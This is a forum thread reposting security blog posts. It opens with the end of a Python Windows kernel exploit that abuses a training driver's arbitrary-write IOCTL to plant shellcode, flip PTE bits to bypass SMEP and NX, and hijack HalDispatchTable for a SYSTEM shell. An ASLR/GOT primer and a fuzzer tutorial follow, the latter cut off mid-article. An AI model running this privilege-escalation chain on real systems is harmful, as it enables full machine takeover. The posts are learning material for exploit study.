    www_shellcode_two.Where_Shellcode_2 = KUSER_SHARED_DATA + 0x808
    www_shellcode_two_pointer = pointer(www_shellcode_two)
    
    # Print update for shellcode
    print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x808..."
    
    # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
    kernel32.DeviceIoControl(
        handle,                             # hDevice
        0x0022200B,                         # dwIoControlCode
        www_shellcode_two_pointer,          # lpInBuffer
        0x8,                                # nInBufferSize
        None,                               # lpOutBuffer
        0,                                  # nOutBufferSize
        byref(c_ulong()),                   # lpBytesReturned
        None                                # lpOverlapped
    )
    
    # Next 8 bytes
    third_shellcode = c_ulonglong(0x02F09B8B48C38948)
    
    # Write-what-where structure #4
    www_shellcode_three = WriteWhatWhere_Shellcode_3()
    www_shellcode_three.What_Shellcode_3 = addressof(third_shellcode)
    www_shellcode_three.Where_Shellcode_3 = KUSER_SHARED_DATA + 0x810
    www_shellcode_three_pointer = pointer(www_shellcode_three)
    
    # Print update for shellcode
    print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x810..."
    
    # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
    kernel32.DeviceIoControl(
        handle,                             # hDevice
        0x0022200B,                         # dwIoControlCode
        www_shellcode_three_pointer,        # lpInBuffer
        0x8,                                # nInBufferSize
        None,                               # lpOutBuffer
        0,                                  # nOutBufferSize
        byref(c_ulong()),                   # lpBytesReturned
        None                                # lpOverlapped
    )
    
    # Next 8 bytes
    fourth_shellcode = c_ulonglong(0x0002F0EB81480000)
    
    # Write-what-where structure #5
    www_shellcode_four = WriteWhatWhere_Shellcode_4()
    www_shellcode_four.What_Shellcode_4 = addressof(fourth_shellcode)
    www_shellcode_four.Where_Shellcode_4 = KUSER_SHARED_DATA + 0x818
    www_shellcode_four_pointer = pointer(www_shellcode_four)
    
    # Print update for shellcode
    print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x818..."
    
    # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
    kernel32.DeviceIoControl(
        handle,                             # hDevice
        0x0022200B,                         # dwIoControlCode
        www_shellcode_four_pointer,         # lpInBuffer
        0x8,                                # nInBufferSize
        None,                               # lpOutBuffer
        0,                                  # nOutBufferSize
        byref(c_ulong()),                   # lpBytesReturned
        None                                # lpOverlapped
    )
    
    # Next 8 bytes
    fifth_shellcode = c_ulonglong(0x000002E88B8B4800)
    
    # Write-what-where structure #6
    www_shellcode_five = WriteWhatWhere_Shellcode_5()
    www_shellcode_five.What_Shellcode_5 = addressof(fifth_shellcode)
    www_shellcode_five.Where_Shellcode_5 = KUSER_SHARED_DATA + 0x820
    www_shellcode_five_pointer = pointer(www_shellcode_five)
    
    # Print update for shellcode
    print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x820..."
    
    # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
    kernel32.DeviceIoControl(
        handle,                             # hDevice
        0x0022200B,                         # dwIoControlCode
        www_shellcode_five_pointer,         # lpInBuffer
        0x8,                                # nInBufferSize
        None,                               # lpOutBuffer
        0,                                  # nOutBufferSize
        byref(c_ulong()),                   # lpBytesReturned
        None                                # lpOverlapped
    )
    
    # Next 8 bytes
    sixth_shellcode = c_ulonglong(0x8B48E57504F98348)
    
    # Write-what-where structure #7
    www_shellcode_six = WriteWhatWhere_Shellcode_6()
    www_shellcode_six.What_Shellcode_6 = addressof(sixth_shellcode)
    www_shellcode_six.Where_Shellcode_6 = KUSER_SHARED_DATA + 0x828
    www_shellcode_six_pointer = pointer(www_shellcode_six)
    
    # Print update for shellcode
    print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x828..."
    
    # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
    kernel32.DeviceIoControl(
        handle,                             # hDevice
        0x0022200B,                         # dwIoControlCode
        www_shellcode_six_pointer,          # lpInBuffer
        0x8,                                # nInBufferSize
        None,                               # lpOutBuffer
        0,                                  # nOutBufferSize
        byref(c_ulong()),                   # lpBytesReturned
        None                                # lpOverlapped
    )
    
    # Next 8 bytes
    seventh_shellcode = c_ulonglong(0xF0E180000003588B)
    
    # Write-what-where structure #8
    www_shellcode_seven = WriteWhatWhere_Shellcode_7()
    www_shellcode_seven.What_Shellcode_7 = addressof(seventh_shellcode)
    www_shellcode_seven.Where_Shellcode_7 = KUSER_SHARED_DATA + 0x830
    www_shellcode_seven_pointer = pointer(www_shellcode_seven)
    
    # Print update for shellcode
    print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x830..."
    
    # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
    kernel32.DeviceIoControl(
        handle,                             # hDevice
        0x0022200B,                         # dwIoControlCode
        www_shellcode_seven_pointer,        # lpInBuffer
        0x8,                                # nInBufferSize
        None,                               # lpOutBuffer
        0,                                  # nOutBufferSize
        byref(c_ulong()),                   # lpBytesReturned
        None                                # lpOverlapped
    )
    
    # Next 8 bytes
    eighth_shellcode = c_ulonglong(0x4800000358888948)
    
    # Write-what-where structure #9
    www_shellcode_eight = WriteWhatWhere_Shellcode_8()
    www_shellcode_eight.What_Shellcode_8 = addressof(eighth_shellcode)
    www_shellcode_eight.Where_Shellcode_8 = KUSER_SHARED_DATA + 0x838
    www_shellcode_eight_pointer = pointer(www_shellcode_eight)
    
    # Print update for shellcode
    print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x838..."
    
    # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
    kernel32.DeviceIoControl(
        handle,                             # hDevice
        0x0022200B,                         # dwIoControlCode
        www_shellcode_eight_pointer,        # lpInBuffer
        0x8,                                # nInBufferSize
        None,                               # lpOutBuffer
        0,                                  # nOutBufferSize
        byref(c_ulong()),                   # lpBytesReturned
        None                                # lpOverlapped
    )
    
    # Last 8 bytes
    ninth_shellcode = c_ulonglong(0x0000000000C3C031)
    
    # Write-what-where structure #10
    www_shellcode_nine = WriteWhatWhere_Shellcode_9()
    www_shellcode_nine.What_Shellcode_9 = addressof(ninth_shellcode)
    www_shellcode_nine.Where_Shellcode_9 = KUSER_SHARED_DATA + 0x840
    www_shellcode_nine_pointer = pointer(www_shellcode_nine)
    
    # Print update for shellcode
    print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x840..."
    
    # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
    kernel32.DeviceIoControl(
        handle,                             # hDevice
        0x0022200B,                         # dwIoControlCode
        www_shellcode_nine_pointer,         # lpInBuffer
        0x8,                                # nInBufferSize
        None,                               # lpOutBuffer
        0,                                  # nOutBufferSize
        byref(c_ulong()),                   # lpBytesReturned
        None                                # lpOverlapped
    )
    
    # Phase 3: Extract KUSER_SHARED_DATA + 0x800's PTE control bits
    
    # Declaring C void pointer to stores PTE control bits
    pte_bits_pointer = c_void_p()
    
    # Write-what-where structure #11
    www_pte_bits = WriteWhatWhere_PTE_Control_Bits()
    www_pte_bits.What_PTE_Control_Bits = kuser_shared_data_800_pte_address
    www_pte_bits.Where_PTE_Control_Bits = addressof(pte_bits_pointer)
    www_pte_bits_pointer = pointer(www_pte_bits)
    
    # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
    kernel32.DeviceIoControl(
        handle,                             # hDevice
        0x0022200B,                         # dwIoControlCode
        www_pte_bits_pointer,               # lpInBuffer
        0x8,                                # nInBufferSize
        None,                               # lpOutBuffer
        0,                                  # nOutBufferSize
        byref(c_ulong()),                   # lpBytesReturned
        None                                # lpOverlapped
    )
    
    # CTypes way of extracting value from a C void pointer
    pte_control_bits_no_execute = struct.unpack('<Q', pte_bits_pointer)[0]
    
    # Print update for PTE control bits
    print "[+] PTE control bits for KUSER_SHARED_DATA + 0x800: {:016x}".format(pte_control_bits_no_execute)
    
    # Phase 4: Overwrite current PTE U/S bit for shellcode page with an S (supervisor/kernel)
    
    # Setting KUSER_SHARED_DATA + 0x800 to executable
    pte_control_bits_execute= pte_control_bits_no_execute & 0x0FFFFFFFFFFFFFFF
    
    # Need to store the PTE control bits as a pointer
    # Using addressof(pte_overwrite_pointer) in Write-what-where structure #4 since a pointer to the PTE control bits are needed
    pte_overwrite_pointer = c_void_p(pte_control_bits_execute)
    
    # Write-what-where structure #12
    www_pte_overwrite = WriteWhatWhere_PTE_Overwrite()
    www_pte_overwrite.What_PTE_Overwrite = addressof(pte_overwrite_pointer)
    www_pte_overwrite.Where_PTE_Overwrite = kuser_shared_data_800_pte_address
    www_pte_overwrite_pointer = pointer(www_pte_overwrite)
    
    # Print update for PTE overwrite
    print "[+] Overwriting KUSER_SHARED_DATA + 0x800's PTE..."
    
    # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
    kernel32.DeviceIoControl(
        handle,                             # hDevice
        0x0022200B,                         # dwIoControlCode
        www_pte_overwrite_pointer,          # lpInBuffer
        0x8,                                # nInBufferSize
        None,                               # lpOutBuffer
        0,                                  # nOutBufferSize
        byref(c_ulong()),                   # lpBytesReturned
        None                                # lpOverlapped
    )
    
    # Print update for PTE overwrite round 2
    print "[+] KUSER_SHARED_DATA + 0x800 is now executable! See you later, SMEP!"
    
    # Phase 5: Shellcode
    
    # nt!HalDispatchTable address (Windows 10 RS1 offset)
    haldispatchtable_base_address = kernel_address + 0x2f43b0
    
    # nt!HalDispatchTable + 0x8 address
    haldispatchtable = haldispatchtable_base_address + 0x8
    
    # Print update for nt!HalDispatchTable + 0x8
    print "[+] nt!HalDispatchTable + 0x8 is located at: {0}".format(hex(haldispatchtable))
    
    # Declaring KUSER_SHARED_DATA + 0x800 address again as a c_ulonglong to satisy c_void_p type from strucutre.
    KUSER_SHARED_DATA_LONGLONG = c_ulonglong(0xFFFFF78000000800)
    
    # Write-what-where structure #13
    www = WriteWhatWhere()
    www.What = addressof(KUSER_SHARED_DATA_LONGLONG)
    www.Where = haldispatchtable
    www_pointer = pointer(www)
    
    # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
    print "[+] Interacting with the driver..."
    kernel32.DeviceIoControl(
        handle,                             # hDevice
        0x0022200B,                         # dwIoControlCode
        www_pointer,                        # lpInBuffer
        0x8,                                # nInBufferSize
        None,                               # lpOutBuffer
        0,                                  # nOutBufferSize
        byref(c_ulong()),                   # lpBytesReturned
        None                                # lpOverlapped
    )
    
    # Actually calling NtQueryIntervalProfile function, which will call HalDispatchTable + 0x8, where the shellcode will be waiting.
    ntdll.NtQueryIntervalProfile(
        0x1234,
        byref(c_ulonglong())
    )
    
    # Print update for shell
    print "[+] Enjoy the NT AUTHORITY\SYSTEM shell!"
    os.system("cmd.exe /K cd C:\\")
    

    NT AUTHORITY\SYSTEM x 2!

    PTE_2.gif

    Final Thoughts

    I really enjoyed this method of SMEP bypass! I also loved circumventing SMEP all together and bypassing NonPagedPoolNx via KUSER_SHARED_DATA+0x800 without the need for user mode memory!

    I am always looking for new challenges and decided this would be a fun one!

    As always, feel free to reach out to me with any questions, comments, or corrections! Until then!

    Peace, love, and positivity! :-)

     

    Sursa: https://connormcgarr.github.io/pte-overwrites/

  19. Second part of this series contains the exploitation process.
    This is the first post of a two part series. In this post we’re going to learn a bit about virtual memory, dynamic linking, position indepentend code, and ASLR protection. All of these topics are very specific and low-level on their own but we’re only going to scratch the surface and learn just enough to comprehend what we’re doing in the second part of this series where we’ll take advantage of a memory corruption vulnerability to exploit an ELF binary with defeating ASLR protection. We are going to use the binary from the hackthebox machine Ellingson. A big thanks to the creator of this lovely box.

    WTF is ASLR?

    Address Layout Space Randomization is a protection technique to prevent the exploitation of vulnerabilities related to memory corruption. It does so by randomizing the virtual memory mapping of the components of a binary such as the address of stack, heap, and libraries etc. The idea is that if the attacker doesn’t know the address of a crafted payload in the memory or the addresses of certain leverageable functions such as system, he’s gonna have a tough time pwning.

    Virtual Memory

    When you launch a process, the operating system doesn’t allocate space right on the physical memory (RAM). Instead the OS allocates chunks of memory called pages and while the pages of prioritized processes reside on the RAM, pages of processes with less priority are stored on the slow hard drive. OS switches the pages between RAM and HDD as needed.
    Each process has it’s own virtual address space and doesn’t know anything about the address space of other processes. This creates a layer of security and allows easier programming since all a process needs to know are it’s own virtual address space and the OS will translate these virtual addresses to physical addresses on the RAM.
    Below is the virtual memory mapping of an example program. Here you can see the addresses of the different sections of the program, the address belonging to libc and dynamic linker, and finally the stack.

    Start              End                Offset             Perm Path
    0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /root/Tuts/hbox/ellingson/exploits/garbage
    0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /root/Tuts/hbox/ellingson/exploits/garbage
    0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /root/Tuts/hbox/ellingson/exploits/garbage
    0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /root/Tuts/hbox/ellingson/exploits/garbage
    0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /root/Tuts/hbox/ellingson/exploits/garbage
    0x00007ffff7ddf000 0x00007ffff7e04000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.30.so
    0x00007ffff7e04000 0x00007ffff7f4e000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.30.so
    0x00007ffff7f4e000 0x00007ffff7f98000 0x000000000016f000 r-- /usr/lib/x86_64-linux-gnu/libc-2.30.so
    0x00007ffff7f98000 0x00007ffff7f9b000 0x00000000001b8000 r-- /usr/lib/x86_64-linux-gnu/libc-2.30.so
    0x00007ffff7f9b000 0x00007ffff7f9e000 0x00000000001bb000 rw- /usr/lib/x86_64-linux-gnu/libc-2.30.so
    0x00007ffff7f9e000 0x00007ffff7fa4000 0x0000000000000000 rw- 
    0x00007ffff7fd0000 0x00007ffff7fd3000 0x0000000000000000 r-- [vvar]
    0x00007ffff7fd3000 0x00007ffff7fd4000 0x0000000000000000 r-x [vdso]
    0x00007ffff7fd4000 0x00007ffff7fd5000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.30.so
    0x00007ffff7fd5000 0x00007ffff7ff3000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.30.so
    0x00007ffff7ff3000 0x00007ffff7ffb000 0x000000000001f000 r-- /usr/lib/x86_64-linux-gnu/ld-2.30.so
    0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /usr/lib/x86_64-linux-gnu/ld-2.30.so
    0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /usr/lib/x86_64-linux-gnu/ld-2.30.so
    0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 
    0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
    

    What does ASLR has to do with virtual memory?

    ASLR works by randomizing the virtual address space. Every time the program is run, the memory addresses of the libraries and the stack shown in the above virtual memory map will change. So, if you are executing a ret-2-libc or ROP gadget now you do not know the address of the libc, or if you are trying to execute a shellcode in memory now you do not know the address of the stack. You can run ldd multiple times to observe this behaviour.

    root@kali:~/Tuts/hbox/ellingson/exploits# ldd garbage 
            linux-vdso.so.1 (0x00007fff58fa3000)
            libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0bb7f4f000)
            /lib64/ld-linux-x86-64.so.2 (0x00007f0bb8140000)
    root@kali:~/Tuts/hbox/ellingson/exploits# ldd garbage 
            linux-vdso.so.1 (0x00007ffe37d20000)
            libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe96848f000)
            /lib64/ld-linux-x86-64.so.2 (0x00007fe968680000)
    


    See how the address of the libraries change each time? You can disable ASLR and try the commands again.

    root@kali:~/Tuts/hbox/ellingson/exploits# echo 0 | tee /proc/sys/kernel/randomize_va_space
    0
    root@kali:~/Tuts/hbox/ellingson/exploits# ldd garbage 
            linux-vdso.so.1 (0x00007ffff7fd3000)
            libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7ddf000)
            /lib64/ld-linux-x86-64.so.2 (0x00007ffff7fd4000)
    root@kali:~/Tuts/hbox/ellingson/exploits# ldd garbage 
            linux-vdso.so.1 (0x00007ffff7fd3000)
            libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7ddf000)
            /lib64/ld-linux-x86-64.so.2 (0x00007ffff7fd4000)
    root@kali:~/Tuts/hbox/ellingson/exploits# 
    


    Now the libraries are loaded on the exact same memory address every time. Don’t forget the enable ASLR back again.

    echo 2 | tee /proc/sys/kernel/randomize_va_space
    

     

    How bad is it?

    It does make the life of an attacker harder, but it is not the end of the world. There are multiple ways around it such as relative addressing, bruteforcing etc. but we’re going to talk about the address leaking technique. For that we need to learn a bit about GOT and PLT.

    What the hell is GOT and PLT?

    So there are certain similar procedures that nearly every program have in common such as printing things to stdout or getting inputs from stdin. It would be very inefficent if every programmer had to write their own functions for such common procedures. Thus came the libraries. Libraries are pieces of code that can be shared between programs. One such example library is the famous libc.so.6 in GNU/Linux systems. If you want to print something to stdout in your C program you can use the printf function. This printf function resides in libc library and is accessible by every C binary. Now, there are two ways a program knows the address of a function in a library: static linking and dynamic linking. Statically linked binaries contain all of the code in the libraries that it uses in the final executable. Consider having hundreds of statically linked C programs running on a linux system and all of them use libc. This means each of the programs will have a copy of libc and load it in the memory. This is a waste of storage and memory. In dynamic linking only minimal information about the libraries are included in the final executable. Libraries are loaded at load time or runtime and the function addresses are resolved. If a copy of a library is in the memory it is shared by all applications that use the same library. You can use the below command to see which processes a particular library is linked to.

    lsof /lib/x86_64-linux-gnu/libc.so.6 
    
    ...
    bash       3651       root mem    REG    8,1  1831600 1838471 /usr/lib/x86_64-linux-gnu/libc-2.30.so
    bash       4341       root mem    REG    8,1  1831600 1838471 /usr/lib/x86_64-linux-gnu/libc-2.30.so
    bash       5367       root mem    REG    8,1  1831600 1838471 /usr/lib/x86_64-linux-gnu/libc-2.30.so
    vim        5399       root mem    REG    8,1  1831600 1838471 /usr/lib/x86_64-linux-gnu/libc-2.30.so
    Web\x20Co  5425       root mem    REG    8,1  1831600 1838471 /usr/lib/x86_64-linux-gnu/libc-2.30.so
    bash      10700       root mem    REG    8,1  1831600 1838471 /usr/lib/x86_64-linux-gnu/libc-2.30.so
    lsof      10834       root mem    REG    8,1  1831600 1838471 /usr/lib/x86_64-linux-gnu/libc-2.30.so
    lsof      10835       root mem    REG    8,1  1831600 1838471 /usr/lib/x86_64-linux-gnu/libc-2.30.so
    


    Function addresses in a shared library can’t be hardcoded during compile. Because any update on the shared library that changes the addresses of functions would break all of the programs that use it. And the address of the libraries would have to be static and things like ASLR wouldn’t be possible. Resolving of the addresses of shared libraries during runtime is done by the linker (ld-linux.so) and this process is called relocation.

    Relocation

    Relocations are basicaly dummy entries in executables that are later filled at link time or at runtime. Below are the relocations of an executable. Getting deep into relocations is out of scope. What you need to know is below table tells that the address of the symbol in an entry will be resolved and patched into the specified offset.

    root@kali:~/Tuts/hbox/ellingson# readelf --relocs garbage 
    
    Relocation section '.rela.dyn' at offset 0x6a0 contains 3 entries:
      Offset          Info           Type           Sym. Value    Sym. Name + Addend
    000000403ff0  000b00000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
    000000403ff8  000f00000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
    0000004040d0  001700000005 R_X86_64_COPY     00000000004040d0 stdin@GLIBC_2.2.5 + 0
    
    Relocation section '.rela.plt' at offset 0x6e8 contains 20 entries:
      Offset          Info           Type           Sym. Value    Sym. Name + Addend
    000000404018  000100000007 R_X86_64_JUMP_SLO 0000000000000000 putchar@GLIBC_2.2.5 + 0
    000000404020  000200000007 R_X86_64_JUMP_SLO 0000000000000000 strcpy@GLIBC_2.2.5 + 0
    000000404028  000300000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
    000000404030  000400000007 R_X86_64_JUMP_SLO 0000000000000000 fclose@GLIBC_2.2.5 + 0
    000000404038  000500000007 R_X86_64_JUMP_SLO 0000000000000000 getpwuid@GLIBC_2.2.5 + 0
    000000404040  000600000007 R_X86_64_JUMP_SLO 0000000000000000 getuid@GLIBC_2.2.5 + 0
    000000404048  000700000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
    000000404050  000800000007 R_X86_64_JUMP_SLO 0000000000000000 rewind@GLIBC_2.2.5 + 0
    000000404058  000900000007 R_X86_64_JUMP_SLO 0000000000000000 fgetc@GLIBC_2.2.5 + 0
    000000404060  000a00000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
    000000404068  000c00000007 R_X86_64_JUMP_SLO 0000000000000000 fgets@GLIBC_2.2.5 + 0
    000000404070  000d00000007 R_X86_64_JUMP_SLO 0000000000000000 strcmp@GLIBC_2.2.5 + 0
    000000404078  000e00000007 R_X86_64_JUMP_SLO 0000000000000000 getchar@GLIBC_2.2.5 + 0
    000000404080  001000000007 R_X86_64_JUMP_SLO 0000000000000000 gets@GLIBC_2.2.5 + 0
    000000404088  001100000007 R_X86_64_JUMP_SLO 0000000000000000 syslog@GLIBC_2.2.5 + 0
    000000404090  001200000007 R_X86_64_JUMP_SLO 0000000000000000 access@GLIBC_2.2.5 + 0
    000000404098  001300000007 R_X86_64_JUMP_SLO 0000000000000000 fopen@GLIBC_2.2.5 + 0
    0000004040a0  001400000007 R_X86_64_JUMP_SLO 0000000000000000 __isoc99_scanf@GLIBC_2.7 + 0
    0000004040a8  001500000007 R_X86_64_JUMP_SLO 0000000000000000 strcat@GLIBC_2.2.5 + 0
    0000004040b0  001600000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0
    


    ELF files are made up of different sections. Sections such as .text, .data, .rodata, and .bss may be familiar to you. There are also sections used during relocations, namely: .got, .plt, .got.plt, .plt.got.

    • .got (Global Offset Table): This section is where the linker puts the addresses of resolved global variables. You can see in the previous relocation table that relocations in .rela.dyn section that are of type GLOB_DAT and COPY point to offsets in the .got section of the executable.
    • .plt (Procedure Linkage Table): This section contains stubs of codes that either jump to the right address or call the linker to resolve the address.
    • .got.plt: (GOT for PLT): This section either contains the right address of the resolved function or points back to .plt to trigger the lookup to resolve the address. Entries in the .rela.plt of type JUMP_SLOT points to offsets in .got.plt.

      What you need to know is that when a function is first called (ie. putchar) (1) it jumps to an address in .plt (putchar@plt) (2) which jumps to an address saved in GOT for PLT (.got.plt) (3) which at this time does not contain the right address and points back to the next instruction in .plt (4) which will actually do the lookup and patch the address in .got.plt with the right address of the function (putchar@GLIBC) and call it. Next time the function is called .got.plt entry in the third step contains the right address and the lookup is not triggered. There are many tutorials online that take you through this steps using a debugger or you can dissassemble the code and follow the addresses.

      All of this make it possible to have position independent code (PIC) which means code without using absolute addresses. This in turn makes it possible for text sections of shared libraries to be loaded into the memory once and then mapped to virtual address spaces of processes.

      Armed with all of this knowledge, we’re going to battle ASLR protection in the next post.

     

    Sursa: https://bkaraceylan.github.io/hack/binary-exploitation/2020/05/01/defeating-aslr-part-1.html

  20.  

    05/09/2020

    05/08/2020

    05/07/2020

    05/06/2020

    05/05/2020

    On Leakage-Resilient Cryptography

    windowsontheory.org 4 days ago

    05/04/2020

    05/03/2020

    Joint Statement on Contact Tracing

    drive.google.com 6 days ago

    05/02/2020

    05/01/2020

    04/30/2020

    04/29/2020

    Is BGP safe yet?

    isbgpsafeyet.com 2 weeks ago

    04/28/2020

    04/27/2020

    04/26/2020

    04/25/2020

    An Investigation Into PEPP-PT

    nadim.computer 2 weeks ago

    04/24/2020

    zkChannels for Bitcoin

    medium.com 3 weeks ago

    04/23/2020

    Wireguard 1.0

    lore.kernel.org 3 weeks ago

    04/22/2020

    04/21/2020

    04/20/2020

    04/19/2020

    04/16/2020

    04/15/2020

    04/14/2020

    04/13/2020

    04/12/2020

    04/11/2020

    04/10/2020

    04/09/2020

  21. Build simple fuzzer - part 1

    18 Apr 2020

    Background

    We are locked in our houses now and it is not easy. In situations like this it is important to have a pet project on the side so you don’t get crazy. Well, after seeing what some people post on twitter I think it is actually too late for some. Anyway, for the remaining few I’ve decided to start a short series that will focus on writing a simple fuzzer from scratch.

    I think every security person should at some point write one. Not to really use it, no. That would be crazy considering how many great fuzzers are out there. But I’m a strong believer in the idea that if you really want to understand something you should try to disassemble/recreate it.

    To be quite honest with you it wasn’t an original idea. Some time ago h0mbre wrote an article ‘Fuzzing like a Caveman’ followed up by another one titled ‘Improving Performance’. I really applauded him for his effort but while reading the code I’ve realized I can probably improve and expand his work a bit. Before we proceed any further I suggest you check original articles first.

    Caveats

    First of all, we are learning here and this fuzzer is in no way going to be a proper tool used against real targets (at least not initially). This is why we are going to code it in python. For real tools we should have picked something way closer to the metal - language that compile to a native code. Most of the fuzzers used professionally are written in C/C++ and some cool kids use Rust, but almost nobody uses python. Fuzzing is primarily about how many executions per second you can squeeze out and use of interpreted language incurs many speed penalties.

    Second important thing is to pick a right target - we are going to use the exif library mentioned in h0mbre’s article because it was coded many years ago and will most likely spew crashes like there is no tomorrow. There is nothing worse than picking a target that might be actually well written. You will spend the rest of your day wondering if you suck at coding/fuzzing or maybe there are no crashes to be found. Remember - we are learning, we want some quick results.

    Main parts of fuzzer

    The premise of fuzzing is deceptively simple - you feed random data to a program and see if it crashed. Then you change the data a little bit and feed it to a program again. And again. And again. So essentially it is doing exactly the same thing over and over again expecting different outcomes. Like insanity. Before we move further there is one golden rule of fuzzing that you have to remember till the end of your days. It’s like the equivalent of Heisenberg principle or Schroedinger paradox - an observed fuzzer never crashes.

    Back to the general architecture - every fuzzer has at least two main components - mutation and execution engine. This is roughly how I’ve initially implemented it (and remember, it heavily borrows from ‘Fuzzing like Cavemen’ article):

    def main():
      if len(sys.argv) < 2:
        print('Usage: {} <valid_jpg>'.format(sys.argv[0]))
      else:
        filename = sys.argv[1]
        orig_data = get_bytes(filename)
        dbg = debugger.PtraceDebugger()
    
        counter = 0
        while counter < 100000:
          data = orig_data[:]
          mutated_data = mutate(data)
          create_new(mutated_data)
          execute_fuzz(dbg, mutated_data, counter)
    
          if counter % 100 == 0:
            print('Counter: {}\r'.format(counter),file=sys.stderr, end='')
          
          counter += 1 
    
        dbg.quit()
    

    Presented main function can be divided into two parts - setup phase and fuzz loop.

    Setup phase should ideally be executed only once per fuzz job so it’s an ideal place for all performance heavy operations - initialization of necessary components, reading configuration files etc. Our fuzzer actually doesn’t have that much of a setup to speak of. We only read the original file sample (more about it later) and set up a debugger (again, more about it later).

    Fuzz loop is the section of the code that will be executed thousands (or possibly millions) of times, therefore it is paramount to put only necessary code there. In our case we do two important things in the loop - we mutate the data and run the target program. There is some extra stuff that we can probably remove (like printing out the counter) but let’s leave it for now.

    Mutation engine

    The most important part of our fuzzer is the mutation engine. This is also the part where I saw the biggest opportunity for improvement (especially around performance). Another important advice for you - when you are fuzzing you always should start with a valid data sample and mutate it. If you start with random data there is a good chance your fuzzer will spend most of the cycles producing files that target program will immediately discard because the first two magic bytes do not match expected value.

    In our case we are starting with a known good jpeg file that contains valid exif data - Canon_40D.jpg. We read it via get_bytes() function, turn into a bytearray and feed to function below:

    def mutate(data):
      flips = int((len(data)-4) * FLIP_RATIO)
      flip_indexes = random.choices(range(2, (len(data) - 6)), k=flips)
    
      methods = [0,1]
      
      for idx in flip_indexes:
        method = random.choice(methods)
    
        if method == 0:
          data[idx] = bit_flip(data[idx])
        else:
          magic(data, idx)
    
      return data
    

    First two lines are responsible for selecting how many and which bytes in our file we are going to modify. With FLIP_RATIO set to 1% we are roughly going to modify a given file in 80 places. For now this is completely arbitrary value but in future generations of fuzzer we will try to determine best value via some experimentation. Another thing worth noticing is that we want to avoid overwriting the first and last two bytes of a file (as jpeg format has some magic values there). Overwriting those magic values might result in a program discarding our file prematurely.

    In the main loop of the function we select one method we want to apply for a given byte(s) - either bit flip or magic value. Let’s cover bit flip first as it is very simple:

    def bit_flip(byte):
      return byte ^ random.choice([1, 2, 4, 8, 16, 32, 64, 128])
    

    I don’t even think it requires explaining, but let’s do it for posterity. Array we are picking the one value from contains all possible values of a byte with only one bit ‘lit’. So, in short, we are selecting a single bit to flip in target value. Operation denoted by ^ is of course XOR.

    Magic values are only a bit more complicated. I’m going to skip the whole theory behind them but the short version is - those values are usually at the edge of maximum or minimum sizes for various types of integers. Being on the edge makes them very susceptible to off/under by one bugs caused by unsafe arithmetic operations.

    MAGIC_VALS = [
      [0xFF],
      [0x7F],
      [0x00],
      [0xFF, 0xFF], # 0xFFFF
      [0x00, 0x00], # 0x0000
      [0xFF, 0xFF, 0xFF, 0xFF], # 0xFFFFFFFF
      [0x00, 0x00, 0x00, 0x00], # 0x80000000
      [0x00, 0x00, 0x00, 0x80], # 0x80000000
      [0x00, 0x00, 0x00, 0x40], # 0x40000000
      [0xFF, 0xFF, 0xFF, 0x7F], # 0x7FFFFFFF
    ]
    
    def magic(data, idx):
      picked_magic = random.choice(MAGIC_VALS)
    
      offset = 0
      for m in picked_magic:
        data[idx + offset] = m
        offset += 1
    

    When implementing magic numbers you have to decide if you want to manually split your values into bytes (hardcoding little endianess) or write smarter functions using binary shifts. I’m lazy so I’ve picked up the former. Again, at least for now.

    This absolutely does not exhaust the topic of mutation strategies as there are many more to pick from. Right now we have only implemented two and a major shortcoming of our mutator is the fact that the file we feed to the program never changes in length. Over time we will improve that.

    Program execution

